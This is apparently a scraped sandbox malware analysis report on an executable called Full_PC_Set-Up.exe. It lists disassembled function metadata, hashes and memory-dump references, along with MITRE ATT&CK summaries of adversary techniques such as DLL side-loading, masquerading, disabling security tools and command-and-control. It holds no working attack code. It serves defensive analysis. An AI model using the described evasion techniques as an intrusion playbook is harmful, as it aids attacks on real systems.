Opcode ID: cdb04d4f326eb2bd9e5fd309838d9f762af06274623ac7772da6af0977f5e9cc
Instruction ID: c716db334c03f712f6df47a61d182f5526d2ad8f724493d894c63a5b9b54c4da
Opcode Fuzzy Hash: cdb04d4f326eb2bd9e5fd309838d9f762af06274623ac7772da6af0977f5e9cc
Instruction Fuzzy Hash: DBE06DB540020CFF8709DF85C809C9EBFBDEB84310B2040A9B60993340DBB1EE01CB61

Function 003C8030 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(UXTHEME.DLL,00000000,0060FEB8,003C8616,5EBD7D5F,0060FEB8,0060FEB8,0060FFB8,00000000,00000000,004C1BA0,000000FF,0060FFD8,003D44C8), ref: 003C803F
_memset.LIBCMT ref: 003C8064

Strings

UXTHEME.DLL, xrefs: 003C803A

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: HandleModule_memset
String ID: UXTHEME.DLL
API String ID: 3562471162-1012247522
Opcode ID: 8bcfc2fe92ee7dd06065dc60ba794a3bc14943d5744b3deb5137390b3658f8e0
Instruction ID: 0b005aa3c85eeb6637fa15df9797084f4bd9f27ba293beb1fd1b6e172f3fe54c
Opcode Fuzzy Hash: 8bcfc2fe92ee7dd06065dc60ba794a3bc14943d5744b3deb5137390b3658f8e0
Instruction Fuzzy Hash: 64E0CD71500120AFC6226B58A80AF99A7D46F80710F0B01BFF808F7195CAA01C40C771

Function 003647CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 003705A7: __EH_prolog3.LIBCMT ref: 003705AE

GetMessageTime.USER32 ref: 003647EB
GetMessagePos.USER32 ref: 003647F4

Part of subcall function 0036A957: __CxxThrowException@8.LIBCMT ref: 0036A96D

Strings

H`, xrefs: 003647D6

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Message$Exception@8H_prolog3ThrowTime
String ID: H`
API String ID: 175515798-4066819451
Opcode ID: 69da9630ebab4f0249ff26d5c0563699f3e0b33c786dd1c66ede058b52fe2c09
Instruction ID: 9e9c8728c8ebdf4774003cf74f92bd2f9e495b7fc4c30a706168be105ec236d4
Opcode Fuzzy Hash: 69da9630ebab4f0249ff26d5c0563699f3e0b33c786dd1c66ede058b52fe2c09
Instruction Fuzzy Hash: 05E08671802B54CFC7369B75544949B3FD1EE803213024D2FE4C297A10DB30D840CB42

Function 00376659 Relevance: 5.0, APIs: 4, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0060EBD0,00000000,?,?,?,0037009E,00000010,00000008,0036B4EE,0036B491,00362ED4,00368B2D,?,0036337C,?,003699D4), ref: 00376693
InitializeCriticalSection.KERNEL32(?,?,?,?,0037009E,00000010,00000008,0036B4EE,0036B491,00362ED4,00368B2D,?,0036337C,?,003699D4,00000000), ref: 003766A5
LeaveCriticalSection.KERNEL32(0060EBD0,?,?,?,0037009E,00000010,00000008,0036B4EE,0036B491,00362ED4,00368B2D,?,0036337C,?,003699D4,00000000), ref: 003766B2
EnterCriticalSection.KERNEL32(?,00000000,?,?,?,0037009E,00000010,00000008,0036B4EE,0036B491,00362ED4,00368B2D,?,0036337C,?,003699D4), ref: 003766C2

Part of subcall function 0036A957: __CxxThrowException@8.LIBCMT ref: 0036A96D

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CriticalSection$Enter$Exception@8InitializeLeaveThrow
String ID:
API String ID: 3253506028-0
Opcode ID: c5bf45508c81717c426385b4d48f77c7dc2ec28565e6a3e853905bd364dffacc
Instruction ID: 6bda4e391d124eb3d2d18933f58c485c0673e5c2372dc65ccd30fdce5a4ec8be
Opcode Fuzzy Hash: c5bf45508c81717c426385b4d48f77c7dc2ec28565e6a3e853905bd364dffacc
Instruction Fuzzy Hash: F0F02B736811149FDB246F64EC9AB1ABB6BFBE0325F525836F40453091D7B98840CE66

Function 00370017 Relevance: 5.0, APIs: 4, Instructions: 35COMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000000,00000000,?,?,?,0037060E,?,00000004,0036B4CF,00362ED4,00368B2D,?,0036337C,?,003699D4,00000000), ref: 00370025
TlsGetValue.KERNEL32(?,?,?,?,0037060E,?,00000004,0036B4CF,00362ED4,00368B2D,?,0036337C,?,003699D4,00000000,?), ref: 00370039
LeaveCriticalSection.KERNEL32(00000000,?,?,?,0037060E,?,00000004,0036B4CF,00362ED4,00368B2D,?,0036337C,?,003699D4,00000000,?), ref: 0037004F
LeaveCriticalSection.KERNEL32(00000000,?,?,?,0037060E,?,00000004,0036B4CF,00362ED4,00368B2D,?,0036337C,?,003699D4,00000000,?), ref: 0037005A

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CriticalSection$Leave$EnterValue
String ID:
API String ID: 3969253408-0
Opcode ID: 663b2289acf49e846c9b5aec561bc929bc9990fedb4f238cc7c980a316d1eeb6
Instruction ID: 5b3a8e8d0da08aa15944556798dc121160d7ddec6b0a17b4f7e9da118f16c1c2
Opcode Fuzzy Hash: 663b2289acf49e846c9b5aec561bc929bc9990fedb4f238cc7c980a316d1eeb6
Instruction Fuzzy Hash: 94F05476200604DFC7314F95DC88E1677ADEA8437431A8566E40997112D6B5F8158A92

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Full_PC_Set-Up.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Windows Analysis Report
Full_PC_Set-Up.exe

Function 0038D4D0 Relevance: 12.1, APIs: 2, Strings: 4, Instructions: 1563
fileCOMMONLIBRARYCODE

Function 0038D8B2 Relevance: 6.5, APIs: 2, Strings: 1, Instructions: 1241
fileCOMMONLIBRARYCODE

Function 0038D97B Relevance: 4.4, APIs: 1, Strings: 1, Instructions: 877
COMMONLIBRARYCODE

Function 0038E41F Relevance: 1.8, APIs: 1, Instructions: 295
fileCOMMONLIBRARYCODE

Function 0030D910 Relevance: 63.3, APIs: 28, Strings: 8, Instructions: 340
fileCOMMON

Function 002961A0 Relevance: 40.6, APIs: 14, Strings: 9, Instructions: 305
windowregistrysynchronizationCOMMON

Function 002D2DD0 Relevance: 77.4, APIs: 39, Strings: 5, Instructions: 400
librarywindowloaderCOMMON